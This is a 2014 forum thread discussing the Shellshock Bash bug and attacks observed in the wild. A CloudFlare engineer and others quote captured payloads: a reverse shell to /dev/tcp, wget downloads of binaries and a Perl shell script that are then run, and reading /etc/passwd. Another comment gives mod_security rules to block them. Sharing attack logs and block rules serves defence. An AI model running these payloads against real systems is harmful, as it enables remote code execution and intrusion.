News for hackers. Stuff that matters.
Re:Everything you need to know about the Shellshock Bash bug by jgrahamc on Thursday September 25, 2014 @09:46AM (#8367065)
This is being actively exploited. We (CloudFlare) put in place WAF rules to block the exploit yesterday and I've been looking at the log files for the blocking to see what's going on. Have been seeing things like:

    () { :;}; /bin/ping -c 1 198.x.x.x
    () { :;}; echo shellshock-scan > /dev/udp/example.com/1234
    () { ignored;};/bin/bash -i >& /dev/tcp/104.x.x.x/80 0>&1
    () { test;};/usr/bin/wget http://example.com/music/file.mp3 -O ~/cgi-bin/file.mp3
    () { :; }; /usr/bin/curl -A xxxx http://112.x.x.x:8011
    () { :; }; /usr/bin/wget http://115.x.x.x/api/file.txt
    () { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd
    () { :; }; /bin/bash -c "if [ $(/bin/uname -m | /bin/grep 64) ]; then /usr/bin/wget 82.x.x.x:1234/v64 -O /tmp/.osock; else /usr/bin/wget 82.x.x.x:1234/v -O /tmp/.osock; fi; /bin/chmod 777 /tmp/.osock; /tmp/.osock &
If you are one of our (paying) customers the rules to block this exploit are enabled automatically.
Re:Everything you need to know about the Shellshock Bash bug by daviddede on Thursday September 25, 2014 @03:57PM (#8369387)
That's very similar to what we are seeing as well:

http://blog.sucuri.net/2014/09/bash-shellshocker-attacks-inc...

Also, if anyone need a WAF to protect it in the mean while, we offer one that works very well with CloudFlare (their free plan).

Our team is giving is free for 30 days to help out.

Details: https://sucuri.net/website-firewall/

*Just email [email protected] and they will get you hooked up.

thanks,

Re:Everything you need to know about the Shellshock Bash bug by jvehent on Thursday September 25, 2014 @07:19PM (#8370395)
Thank you for that blog post. I managed to retrieve some of them and add a few attack vectors to my checklist: https://jve.linuxwall.info/blog/index.php?post/2014/09/25/Sh...

If you find any more of them, do you think you could publish their checksums?

Re:Everything you need to know about the Shellshock Bash bug by fiedzia on Thursday September 25, 2014 @09:56AM (#8367129)
Out of curiosty: did it cause any problems with intended use of this shell feature? Did anyone complained that it broke something that worked before?
Re:Everything you need to know about the Shellshock Bash bug by jgrahamc on Thursday September 25, 2014 @09:57AM (#8367134)
We have not seen any complaints about this.
Re:Everything you need to know about the Shellshock Bash bug by TorKlingberg on Thursday September 25, 2014 @11:31AM (#8367640)
I assume Cloudflare are filtering HTTP headers. I cannot imagine a valid reason to pass in functions to bash in headers.
Re:Everything you need to know about the Shellshock Bash bug by shangxiao on Thursday September 25, 2014 @01:15PM (#8368273)
And functions with malicious shell script appended at that! ;)
Re:Everything you need to know about the Shellshock Bash bug by informatimago on Thursday September 25, 2014 @01:02PM (#8368198)
There is no intended use, it's a pure evil bug in bash. I wouldn't be surprised if it was discovered that it has been implanted intentionnally.
Re:Everything you need to know about the Shellshock Bash bug by shangxiao on Thursday September 25, 2014 @01:14PM (#8368265)
How can a bug be evil? Don't attach morals to things which should be amoral.
Re:Everything you need to know about the Shellshock Bash bug by avoid3d on Thursday September 25, 2014 @02:16PM (#8368667)
Its a joke, eval(uate) is evil...
Re:Everything you need to know about the Shellshock Bash bug by tlrobinson on Thursday September 25, 2014 @05:21PM (#8369800)
This is guerrilla marketing at its finest, and I mean that in a good way.
Re:Everything you need to know about the Shellshock Bash bug by ktsmith on Thursday September 25, 2014 @02:11PM (#8368632)
Seeing a mix of some that don't do much of anything but I'm starting to see a bunch of new ones using telnet are now starting to pop up.

() { :;}; /bin/bash -c \x22telnet 197.242.148.29 9999\x22 () { :; }; echo -e \x22Content-Type: text/plain\x5Cn\x22; echo qQQQQQq

Re:Everything you need to know about the Shellshock Bash bug by preston4tw on Thursday September 25, 2014 @03:39PM (#8369270)
The payloads that don't do much of anything are possibly security researchers or white hats trying to get an idea of the scope of the issue and/or get ahead of this. Ex. http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-in...
Re:Everything you need to know about the Shellshock Bash bug by ktsmith on Thursday September 25, 2014 @07:07PM (#8370337)
Yeah, that's certainly the case with a couple of them and then there's one's like this that are trying to set up shells and where they've been established:

Request of file: /cgi-sys/defaultwebpage.cgi With wget downloading a perl script to launch a shell: () { :;}; /bin/bash -c \x22/usr/bin/wget http://singlesaints.com/firefile/temp?h=example.com -O /tmp/a.pl\x22

That site is still up and serving right now if anyone wants to take a look.

Re:Everything you need to know about the Shellshock Bash bug by jonknee on Thursday September 25, 2014 @07:43PM (#8370472)
Same attack hit my server... They're looking for Cpanel sites (defaultwebpage.cgi). Here's a paste of the source in case it goes away:

http://pastebin.com/UdJZqUyV

Re:Everything you need to know about the Shellshock Bash bug by TallboyOne on Thursday September 25, 2014 @09:58AM (#8367139)
CloudFlare is so amazing... Thanks for all your hard work. I have over a million blocked malicious attempts on my site which gets a huge amount of traffic (not shellshock, I mean in general).
Re:Everything you need to know about the Shellshock Bash bug by mkoryak on Thursday September 25, 2014 @09:52AM (#8367100)
and if I am not a paying customer, can I enable them manually?
Re:Everything you need to know about the Shellshock Bash bug by jgrahamc on Thursday September 25, 2014 @09:54AM (#8367119)
No, the WAF is not included in the free plan.
Re:Everything you need to know about the Shellshock Bash bug by TeMPOraL on Thursday September 25, 2014 @10:03AM (#8367164)
Out of curiosity, have you considered enabling it temporarily for everyone with Shellshock rules enabled? Just a day or two, to give people time to fix this. Is it feasible with your infrastructure/the way WAF works (I never used one)?

It could do a lot of good for people and be a great PR move at the same time.

Re:Everything you need to know about the Shellshock Bash bug by jgrahamc on Thursday September 25, 2014 @10:04AM (#8367170)
I'm going to bring it up internally, but don't hold your breath.
Re:Everything you need to know about the Shellshock Bash bug by ChuckMcM on Thursday September 25, 2014 @11:41AM (#8367711)
Consider that the bug can be used as an amplification attack and you have a lot of webservers behind the free plan. I'm guessing you don't want to have Cloudflare's infrastructure be the IPs that everyone is blocking because some yoyo is using this to turn those machines into DDOS slaves. Might help your case internally.
Re:Everything you need to know about the Shellshock Bash bug by jgrahamc on Monday September 29, 2014 @12:49AM (#8381736)
Follow up: we enabled basic Shellshock protection for everyone.

https://blog.cloudflare.com/shellshock-protection-enabled-fo...

Re:Everything you need to know about the Shellshock Bash bug by TeMPOraL on Thursday September 25, 2014 @10:06AM (#8367187)
Thanks!

EDIT after OP's edit.

Sad. This situation feels kind of a disaster-relief thing; not a good time to think about monetizing it. Still, I do understand you don't want people thinking you'll always be protecting them from everything even if they don't pay.

EDIT2 after clarification downthread, previous edit is to be disregarded.

Re:Everything you need to know about the Shellshock Bash bug by jgrahamc on Thursday September 25, 2014 @10:23AM (#8367289)
It's less about trying to monetize it than about the cost to us of suddenly inspecting every request that goes through us. We service a huge volume of traffic and part of our core value is performance so keeping our processing latency is low as possible is important.

(Note: I removed sentence about CloudFlare pricing from previous comment to avoid any confusion about monetization)

Re:Everything you need to know about the Shellshock Bash bug by TeMPOraL on Thursday September 25, 2014 @10:29AM (#8367335)
Fair enough; that's what I meant when asking if it is feasible for you to do so.

Thank you for clarification!

Re:Everything you need to know about the Shellshock Bash bug by sillysaurus3 on Thursday September 25, 2014 @10:29AM (#8367332)
Would it be possible to enable it temporarily to see whether the change significantly impacts your processing latency?
Re:Everything you need to know about the Shellshock Bash bug by nostrademons on Thursday September 25, 2014 @01:11PM (#8368248)
Or do so on a small percentage of free traffic and see how much CPU headroom you still have left.
Re:Everything you need to know about the Shellshock Bash bug by gtirloni on Thursday September 25, 2014 @10:30AM (#8367340)
The monetization has not been put in place right now. It has always been there (the possibility to add these rules).

If this is a disaster-relief thing-y, CloudFlare should then be eligible to receive government money later. I doubt that would be even considered by any parties.

Re:Everything you need to know about the Shellshock Bash bug by AznHisoka on Thursday September 25, 2014 @10:04AM (#8367172)
As a paying customer, I'd like to say thanks. Too many companies give too much away for free, leaving no incentive to upgrade.
Re:Everything you need to know about the Shellshock Bash bug by mmcclellan on Thursday September 25, 2014 @10:17AM (#8367255)
Still, publishing suggested rulesets or at least sending them over to OWASP would be Good Guy.
Re:Everything you need to know about the Shellshock Bash bug by jgrahamc on Thursday September 25, 2014 @10:20AM (#8367273)
The RedHat advisory had mod_security rules in it. Our rules are our version of that.

https://access.redhat.com/articles/1200223

    SecRule REQUEST_HEADERS: "^\(\) {" "phase:1,deny,id:1000000,t:urlDecode,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
    SecRule REQUEST_LINE "\(\) {" "phase:1,deny,id:1000001,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
    SecRule ARGS_NAMES "^\(\) {" "phase:2,deny,id:1000002,t:urlDecode,t:urlDecodeUni,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
    SecRule ARGS "^\(\) {" "phase:2,deny,id:1000003,t:urlDecode,t:urlDecodeUni,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
    SecRule FILES_NAMES "^\(\) {"  "phase:2,deny,id:1000004,t:urlDecode,t:urlDecodeUni,status:400,log,msg:'CVE-2014-6271  - Bash Attack'"
Re:Everything you need to know about the Shellshock Bash bug by drvdevd on Thursday September 25, 2014 @09:55AM (#8367128)
Thanks for sharing this! I've already encountered some skepticism as to the severity of the bug so information like this is very helpful.
Re:Everything you need to know about the Shellshock Bash bug by curun1r on Thursday September 25, 2014 @02:45PM (#8368885)
Only a few of those look like exploits. A lot of them look like customers testing whether they're vulnerable.
Re:Everything you need to know about the Shellshock Bash bug by diminoten on Thursday September 25, 2014 @02:55PM (#8368960)
Are you guys at all capable of seeing how far back exploitation of this goes?
Re:Everything you need to know about the Shellshock Bash bug by jgrahamc on Friday September 26, 2014 @04:43AM (#8371879)
No. I only have data for things the WAF blocked.
Re:Everything you need to know about the Shellshock Bash bug by samptemp on Thursday September 25, 2014 @03:51PM (#8369351)
Paying customers get protection automatically while free customers do not?

I think this is not something which should be treated as a "value-added service" for your paying customers. The health and security of the Internet is far too important.

All your customers should be protected automatically.

P.S. I'm a big fan of Cloudflare.